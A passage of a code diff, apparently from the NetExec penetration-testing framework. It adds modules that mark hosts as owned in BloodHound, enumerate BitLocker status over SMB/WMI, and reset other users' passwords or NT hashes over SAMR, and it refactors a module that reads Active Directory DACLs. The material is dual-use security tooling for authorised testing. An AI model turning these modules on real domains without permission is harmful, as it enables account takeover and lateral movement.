if context.local_auth:
domain = connection.conn.getServerDNSDomainName()
else:
domain = connection.domain
host_fqdn = f"{connection.hostname}.{domain}".upper()
uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
context.log.debug(f"Neo4j URI: {uri}")
context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
try:
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
except AuthError:
context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are" " not valid. See --options")
sys.exit()
except ServiceUnavailable:
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
sys.exit()
except Exception as e:
context.log.fail("Unexpected error with Neo4J")
context.log.debug(f"Error {e}: ")
sys.exit()
with driver.session() as session:
with session.begin_transaction() as tx:
result = tx.run(f'MATCH (c:Computer {{name:"{host_fqdn}"}}) SET c.owned=True RETURN' " c.name AS name")
record = result.single()
try:
value = record.value()
except AttributeError:
value = []
if len(value) > 0:
context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
else:
context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you" " imported the correct data?")
driver.close()
+139
View File
@@ -0,0 +1,139 @@
import re
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
try:
# Create a DCOM connection
dcom_conn = DCOMConnection(
self.connection.host,
self.connection.username,
self.connection.password,
self.connection.domain,
self.connection.lmhash,
self.connection.nthash,
oxidResolver=True,
doKerberos=self.connection.kerberos,
kdcHost=self.connection.kdcHost)
try:
# CoCreateInstanceEx for WMI login
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
# Specify the namespace for BitLocker
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
# NTLM login for WMI
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
# Set authentication level
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
# Query to get BitLocker status
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
# Release resources
iWbemLevel1Login.RemRelease()
iWbemServices.RemRelease()
dcom_conn.disconnect()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
dcom_conn.disconnect()
except Exception as e:
self.context.log.error(f"Error occurred during BitLocker check: {e}")
dcom_conn.disconnect()
+149
View File
@@ -0,0 +1,149 @@
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import DCERPCException
class NXCModule:
"""
Module for changing or resetting user passwords
Module by Fagan Afandiyev, termanix and NeffIsBack
"""
name = "change-password"
description = "Change or reset user passwords via various protocols"
supported_protocols = ["smb"]
def options(self, context, module_options):
"""
Required (one of):
NEWPASS The new password of the user.
NEWNTHASH The new NT hash of the user.
Optional:
USER The user account if the target is not the current user.
Examples
--------
If STATUS_PASSWORD_MUST_CHANGE or STATUS_PASSWORD_EXPIRED (Change password for current user)
netexec smb <DC_IP> -u username -p oldpass -M change-password -o NEWNTHASH='nthash'
netexec smb <DC_IP> -u username -H oldnthash -M change-password -o NEWPASS='newpass'
If want to change other user's password (with forcechangepassword priv or admin rights)
netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWPASS='target_user_newpass'
netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWNTHASH='target_user_newnthash'
"""
self.newpass = module_options.get("NEWPASS")
self.newhash = module_options.get("NEWNTHASH")
self.target_user = module_options.get("USER")
if not self.newpass and not self.newhash:
context.log.fail("Either NEWPASS or NEWNTHASH is required!")
sys.exit(1)
def authenticate(self, context, connection, protocol, anonymous=False):
# Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
try:
# Map to the SAMR endpoint on the target
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.setRemoteHost(connection.host)
if anonymous:
rpctransport.set_credentials("", "", "", "", "", "")
rpctransport.set_kerberos(False, None)
context.log.info("Connecting with null session credentials.")
else:
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
aesKey=connection.aesKey,
)
context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
# Connect to the DCE/RPC endpoint and bind to the SAMR service
dce = rpctransport.get_dce_rpc()
dce.connect()
context.log.info("[+] Successfully connected to DCE/RPC")
dce.bind(samr.MSRPC_UUID_SAMR)
context.log.info("[+] Successfully bound to SAMR")
return dce
except DCERPCException as e:
context.log.fail(f"DCE/RPC Exception: {e!s}")
raise
def on_login(self, context, connection):
self.context = context
target_username = self.target_user or connection.username
target_domain = connection.domain
# Grab all creds from the connection to use for authentication
self.oldpass = connection.password
self.oldhash = connection.nthash
new_lmhash, new_nthash = "", ""
# Parse new hash values if provided
if self.newhash:
try:
new_lmhash, new_nthash = self.newhash.split(":")
except ValueError:
new_nthash = self.newhash
try:
self.anonymous = False
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=self.anonymous)
except Exception as e:
# Handle specific errors like password expiration or must be change
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e):
context.log.warning("Password must be changed. Trying with null session.")
self.anonymous = True
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=self.anonymous)
elif "STATUS_LOGON_FAILURE" in str(e):
context.log.fail("Authentication failure: wrong credentials.")
return False
else:
raise
try:
# Perform the SMB SAMR password change
self._smb_samr_change(context, connection, target_username, target_domain, self.oldhash, self.newpass, new_nthash)
except Exception as e:
context.log.fail(f"Password change failed: {e}")
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
try:
# Reset the password for a different user
if target_username != connection.username:
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
context.log.success(f"Successfully changed password for {target_username}")
else:
# Change password for the current user
if newPassword:
# Change the password with new password
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
else:
# Change the password with new hash
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
context.log.highlight("Note: Target user must change password at next logon.")
context.log.success(f"Successfully changed password for {target_username}")
except Exception as e:
context.log.fail(f"SMB-SAMR password change failed: {e}")
finally:
self.dce.disconnect()
def _hSamrOpenUser(self, connection, username):
"""Get handle to the user object"""
try:
# Connect to the target server and retrieve handles
server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
except Exception as e:
self.context.log.fail(f"Failed to open user: {e}")
File diff suppressed because it is too large. Load diff
+149 -222
View File
@@ -1,15 +1,17 @@
import binascii
import codecs
import json
import re
import datetime
from enum import Enum
from impacket.ldap import ldaptypes
from impacket.uuid import bin_to_string
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from ldap3.protocol.formatters.formatters import format_sid
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.utils.conv import escape_filter_chars
from ldap3.protocol.microsoft import security_descriptor_control
import sys
import traceback
from os.path import isfile
OBJECT_TYPES_GUID = {}
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
@@ -64,7 +66,7 @@ WELL_KNOWN_SIDS = {
"S-1-5-64-14": "SChannel Authentication",
"S-1-5-64-21": "Digest Authority",
"S-1-5-80": "NT Service",
"S-1-5-83-0": "NT VIRTUAL MACHINE\Virtual Machines",
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
"S-1-16-0": "Untrusted Mandatory Level",
"S-1-16-4096": "Low Mandatory Level",
"S-1-16-8192": "Medium Mandatory Level",
@@ -73,24 +75,24 @@ WELL_KNOWN_SIDS = {
"S-1-16-16384": "System Mandatory Level",
"S-1-16-20480": "Protected Process Mandatory Level",
"S-1-16-28672": "Secure Process Mandatory Level",
"S-1-5-32-554": "BUILTIN\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": "BUILTIN\Remote Desktop Users",
"S-1-5-32-557": "BUILTIN\Incoming Forest Trust Builders",
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
"S-1-5-32-558": "BUILTIN\Performance Monitor Users",
"S-1-5-32-559": "BUILTIN\Performance Log Users",
"S-1-5-32-560": "BUILTIN\Windows Authorization Access Group",
"S-1-5-32-561": "BUILTIN\Terminal Server License Servers",
"S-1-5-32-562": "BUILTIN\Distributed COM Users",
"S-1-5-32-569": "BUILTIN\Cryptographic Operators",
"S-1-5-32-573": "BUILTIN\Event Log Readers",
"S-1-5-32-574": "BUILTIN\Certificate Service DCOM Access",
"S-1-5-32-575": "BUILTIN\RDS Remote Access Servers",
"S-1-5-32-576": "BUILTIN\RDS Endpoint Servers",
"S-1-5-32-577": "BUILTIN\RDS Management Servers",
"S-1-5-32-578": "BUILTIN\Hyper-V Administrators",
"S-1-5-32-579": "BUILTIN\Access Control Assistance Operators",
"S-1-5-32-580": "BUILTIN\Remote Management Users",
"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
}
@@ -188,18 +190,16 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
class NXCModule:
"""
Module to read and backup the Discretionary Access Control List of one or multiple objects.
"""Module to read and backup the Discretionary Access Control List of one or multiple objects.
This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me.
It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
"""
name = "daclread"
description = "Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be carefull, this module cannot read the DACLS recursively, more explains in the options."
description = "Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
def __init__(self, context=None, module_options=None):
self.context = context
@@ -207,29 +207,35 @@ class NXCModule:
def options(self, context, module_options):
"""
Be carefull, this module cannot read the DACLS recursively. For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
TARGET The objects that we want to read or backup the DACLs, sepcified by its SamAccountName
TARGET_DN The object that we want to read or backup the DACL, specified by its DN (usefull to target the domain itself)
Be careful, this module cannot read the DACLS recursively.
For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
TARGET The objects that we want to read or backup the DACLs, specified by its SamAccountName
TARGET_DN The object that we want to read or backup the DACL, specified by its DN (useful to target the domain itself)
PRINCIPAL The trustee that we want to filter on
ACTION The action to realise on the DACL (read, backup)
ACE_TYPE The type of ACE to read (Allowed or Denied)
RIGHTS An interesting right to filter on ('FullControl', 'ResetPassword', 'WriteMembers', 'DCSync')
RIGHTS_GUID A right GUID that specify a particular rights to filter on
Based on the work of @_nwodtuhs and @BlWasp_.
"""
self.context = context
context.log.debug(f"module_options: {module_options}")
if not module_options:
context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
exit(1)
sys.exit(1)
if module_options and "TARGET" in module_options:
if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None:
context.log.debug("There is a target specified!")
if isfile(module_options["TARGET"]):
try:
self.target_file = open(module_options["TARGET"], "r")
self.target_file = open(module_options["TARGET"]) # noqa: SIM115
self.target_sAMAccountName = None
except Exception as e:
context.log.fail("The file doesn't exist or cannot be openned.")
except Exception:
context.log.fail("The file doesn't exist or cannot be opened.")
else:
context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
self.target_sAMAccountName = module_options["TARGET"]
self.target_file = None
self.target_DN = None
@@ -264,48 +270,55 @@ class NXCModule:
self.filename = None
def on_login(self, context, connection):
"""
On a successful LDAP login we perform a search for the targets' SID, their Security Decriptors and the principal's SID if there is one specified
"""
context.log.highlight("Be carefull, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldapConnection._baseDN
self.ldap_session = connection.ldapConnection
self.context = context
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldap_connection._baseDN
self.ldap_session = connection.ldap_connection
self.connection = connection
self.context = context
# Searching for the principal SID
if self.principal_sAMAccountName is not None:
_lookedup_principal = self.principal_sAMAccountName
try:
self.principal_sid = format_sid(
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal),
attributes=["objectSid"],
)[0][
1
][0][
1
][0]
resp = connection.search(
searchFilter=f"(sAMAccountName={escape_filter_chars(self.principal_sAMAccountName)})",
attributes=["objectSid"],
)
context.log.highlight("Found principal SID to filter on: %s" % self.principal_sid)
resp_parsed = parse_result_attributes(resp)[0]
self.principal_sid = resp_parsed["objectSid"]
context.log.highlight(f"Found principal SID to filter on: {self.principal_sid}")
except Exception as e:
context.log.fail("Principal SID not found in LDAP (%s)" % _lookedup_principal)
exit(1)
context.log.fail(f"Principal SID not found in LDAP ({self.principal_sAMAccountName})")
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
return
# Searching for the targets SID and their Security Decriptors
# Searching for the targets SID and their Security Descriptors
# If there is only one target
if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
# Searching for target account with its security descriptor
try:
self.search_target_principal_security_descriptor(context, connection)
# Searching for target account with its security descriptor
if self.target_sAMAccountName: # noqa: SIM108
search_filter = f"(sAMAccountName={escape_filter_chars(self.target_sAMAccountName)})"
else:
search_filter = f"(distinguishedName={escape_filter_chars(self.target_DN)})"
resp = connection.search(
searchFilter=search_filter,
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=security_descriptor_control(sdflags=0x04),
)
resp_parsed = parse_result_attributes(resp)[0]
# Extract security descriptor data
self.target_principal_dn = self.target_principal[0]
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.target_principal_dn = resp_parsed["distinguishedName"]
self.principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight("Target principal found in LDAP (%s)" % self.target_principal[0])
context.log.highlight(f"Target principal found in LDAP ({self.target_principal_dn})")
except Exception as e:
context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName)
exit(1)
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
return
if self.action == "read":
self.read(context)
@@ -319,14 +332,20 @@ class NXCModule:
try:
self.target_sAMAccountName = target.strip()
# Searching for target account with its security descriptor
self.search_target_principal_security_descriptor(context, connection)
resp = connection.search(
searchFilter=f"(sAMAccountName={escape_filter_chars(self.target_sAMAccountName)})",
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=security_descriptor_control(sdflags=0x04),
)
resp_parsed = parse_result_attributes(resp)[0]
# Extract security descriptor data
self.target_principal_dn = self.target_principal[0]
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.target_principal_dn = resp_parsed["distinguishedName"]
self.principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight("Target principal found in LDAP (%s)" % self.target_sAMAccountName)
except Exception as e:
context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName)
context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
except Exception:
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
continue
if self.action == "read":
@@ -339,7 +358,6 @@ class NXCModule:
def read(self, context):
parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
self.print_parsed_dacl(context, parsed_dacl)
return
# Permits to export the DACL of the targets
# This function is called before any writing action (write, remove or restore)
@@ -348,7 +366,7 @@ class NXCModule:
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
backup["dn"] = str(self.target_principal_dn)
if not self.filename:
self.filename = "dacledit-%s-%s.bak" % (
self.filename = "dacledit-{}-{}.bak".format(
datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),
self.target_sAMAccountName,
)
@@ -357,105 +375,41 @@ class NXCModule:
context.log.highlight("DACL backed up to %s", self.filename)
self.filename = None
# Attempts to retrieve the DACL in the Security Descriptor of the specified target
def search_target_principal_security_descriptor(self, context, connection):
_lookedup_principal = ""
# Set SD flags to only query for DACL
controls = security_descriptor_control(sdflags=0x04)
if self.target_sAMAccountName is not None:
_lookedup_principal = self.target_sAMAccountName
target = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal),
attributes=["nTSecurityDescriptor"],
searchControls=controls,
)
if self.target_DN is not None:
_lookedup_principal = self.target_DN
target = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(distinguishedName=%s)" % _lookedup_principal,
attributes=["nTSecurityDescriptor"],
searchControls=controls,
)
try:
self.target_principal = target[0]
except Exception as e:
context.log.fail("Principal not found in LDAP (%s), probably an LDAP session issue." % _lookedup_principal)
exit(0)
# Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName
# Not used for the moment
# - samname : a sAMAccountName
def get_user_info(self, context, samname):
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(samname),
attributes=["objectSid"],
)
try:
dn = self.ldap_session.entries[0].entry_dn
sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0])
return dn, sid
except Exception as e:
context.log.fail("User not found in LDAP: %s" % samname)
return False
# Attempts to resolve a SID and return the corresponding samaccountname
# - sid : the SID to resolve
def resolveSID(self, context, sid):
def resolveSID(self, sid):
"""Resolves a SID to its corresponding sAMAccountName."""
# Tries to resolve the SID from the well known SIDs
if sid in WELL_KNOWN_SIDS.keys():
if sid in WELL_KNOWN_SIDS:
return WELL_KNOWN_SIDS[sid]
# Tries to resolve the SID from the LDAP domain dump
else:
try:
dn = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(objectSid=%s)" % sid,
attributes=["sAMAccountName"],
)[
0
][0]
samname = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(objectSid=%s)" % sid,
attributes=["sAMAccountName"],
)[0][
1
][0][
1
][0]
return samname
except Exception as e:
context.log.debug("SID not found in LDAP: %s" % sid)
return ""
try:
resp = self.connection.search(
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)
return parse_result_attributes(resp)[0]["sAMAccountName"]
except Exception:
self.context.log.debug(f"SID not found in LDAP: {sid}")
return ""
# Parses a full DACL
# - dacl : the DACL to parse, submitted in a Security Desciptor format
def parse_dacl(self, context, dacl):
parsed_dacl = []
context.log.debug("Parsing DACL")
i = 0
for ace in dacl["Data"]:
parsed_ace = self.parse_ace(context, ace)
parsed_dacl.append(parsed_ace)
i += 1
return parsed_dacl
# Parses an access mask to extract the different values from a simple permission
# https://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
# - fsr : the access mask to parse
def parse_perms(self, fsr):
_perms = []
for PERM in SIMPLE_PERMISSIONS:
if (fsr & PERM.value) == PERM.value:
_perms.append(PERM.name)
fsr = fsr & (not PERM.value)
for PERM in ACCESS_MASK:
if fsr & PERM.value:
_perms.append(PERM.name)
return _perms
def parse_perms(self, access_mask):
perms = [PERM.name for PERM in SIMPLE_PERMISSIONS if (access_mask & PERM.value) == PERM.value]
# use bitwise NOT operator (~) and sum() function to clear the bits that have been processed
access_mask &= ~sum(PERM.value for PERM in SIMPLE_PERMISSIONS if (access_mask & PERM.value) == PERM.value)
perms += [PERM.name for PERM in ACCESS_MASK if access_mask & PERM.value]
return perms
# Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType)
# - ace : the ACE to parse
@@ -467,93 +421,67 @@ class NXCModule:
"ACCESS_DENIED_ACE",
"ACCESS_DENIED_OBJECT_ACE",
]:
parsed_ace = {}
parsed_ace["ACE Type"] = ace["TypeName"]
# Retrieves ACE's flags
_ace_flags = []
for FLAG in ACE_FLAGS:
if ace.hasFlag(FLAG.value):
_ace_flags.append(FLAG.name)
parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None"
_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
parsed_ace = {"ACE Type": ace["TypeName"], "ACE flags": ", ".join(_ace_flags) or "None"}
# For standard ACE
# Extracts the access mask (by parsing the simple permissions) and the principal's SID
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
parsed_ace["Access mask"] = "%s (0x%x)" % (
", ".join(self.parse_perms(ace["Ace"]["Mask"]["Mask"])),
ace["Ace"]["Mask"]["Mask"],
)
parsed_ace["Trustee (SID)"] = "%s (%s)" % (
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
ace["Ace"]["Sid"].formatCanonical(),
)
# For object-specific ACE
elif ace["TypeName"] in [
"ACCESS_ALLOWED_OBJECT_ACE",
"ACCESS_DENIED_OBJECT_ACE",
]:
access_mask = f"{', '.join(self.parse_perms(ace['Ace']['Mask']['Mask']))} (0x{ace['Ace']['Mask']['Mask']:x})"
trustee_sid = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
parsed_ace = {
"Access mask": access_mask,
"Trustee (SID)": trustee_sid
}
elif ace["TypeName"] in ["ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_OBJECT_ACE"]: # for object-specific ACE
# Extracts the mask values. These values will indicate the ObjectType purpose
_access_mask_flags = []
for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS:
if ace["Ace"]["Mask"].hasPriv(FLAG.value):
_access_mask_flags.append(FLAG.name)
parsed_ace["Access mask"] = ", ".join(_access_mask_flags)
access_mask_flags = [FLAG.name for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS if ace["Ace"]["Mask"].hasPriv(FLAG.value)]
parsed_ace["Access mask"] = ", ".join(access_mask_flags)
# Extracts the ACE flag values and the trusted SID
_object_flags = []
for FLAG in OBJECT_ACE_FLAGS:
if ace["Ace"].hasFlag(FLAG.value):
_object_flags.append(FLAG.name)
parsed_ace["Flags"] = ", ".join(_object_flags) or "None"
object_flags = [FLAG.name for FLAG in OBJECT_ACE_FLAGS if ace["Ace"].hasFlag(FLAG.value)]
parsed_ace["Flags"] = ", ".join(object_flags) or "None"
# Extracts the ObjectType GUID values
if ace["Ace"]["ObjectTypeLen"] != 0:
obj_type = bin_to_string(ace["Ace"]["ObjectType"]).lower()
try:
parsed_ace["Object type (GUID)"] = "%s (%s)" % (
OBJECT_TYPES_GUID[obj_type],
obj_type,
)
parsed_ace["Object type (GUID)"] = f"{OBJECT_TYPES_GUID[obj_type]} ({obj_type})"
except KeyError:
parsed_ace["Object type (GUID)"] = "UNKNOWN (%s)" % obj_type
parsed_ace["Object type (GUID)"] = f"UNKNOWN ({obj_type})"
# Extracts the InheritedObjectType GUID values
if ace["Ace"]["InheritedObjectTypeLen"] != 0:
inh_obj_type = bin_to_string(ace["Ace"]["InheritedObjectType"]).lower()
try:
parsed_ace["Inherited type (GUID)"] = "%s (%s)" % (
OBJECT_TYPES_GUID[inh_obj_type],
inh_obj_type,
)
parsed_ace["Inherited type (GUID)"] = f"{OBJECT_TYPES_GUID[inh_obj_type]} ({inh_obj_type})"
except KeyError:
parsed_ace["Inherited type (GUID)"] = "UNKNOWN (%s)" % inh_obj_type
parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
# Extract the Trustee SID (the object that has the right over the DACL bearer)
parsed_ace["Trustee (SID)"] = "%s (%s)" % (
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
parsed_ace["Trustee (SID)"] = "{} ({})".format(
self.resolveSID(ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
ace["Ace"]["Sid"].formatCanonical(),
)
else:
# If the ACE is not an access allowed
context.log.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace["TypeName"])
parsed_ace = {}
parsed_ace["ACE type"] = ace["TypeName"]
_ace_flags = []
for FLAG in ACE_FLAGS:
if ace.hasFlag(FLAG.value):
_ace_flags.append(FLAG.name)
parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None"
parsed_ace["DEBUG"] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute"
else: # if the ACE is not an access allowed
context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
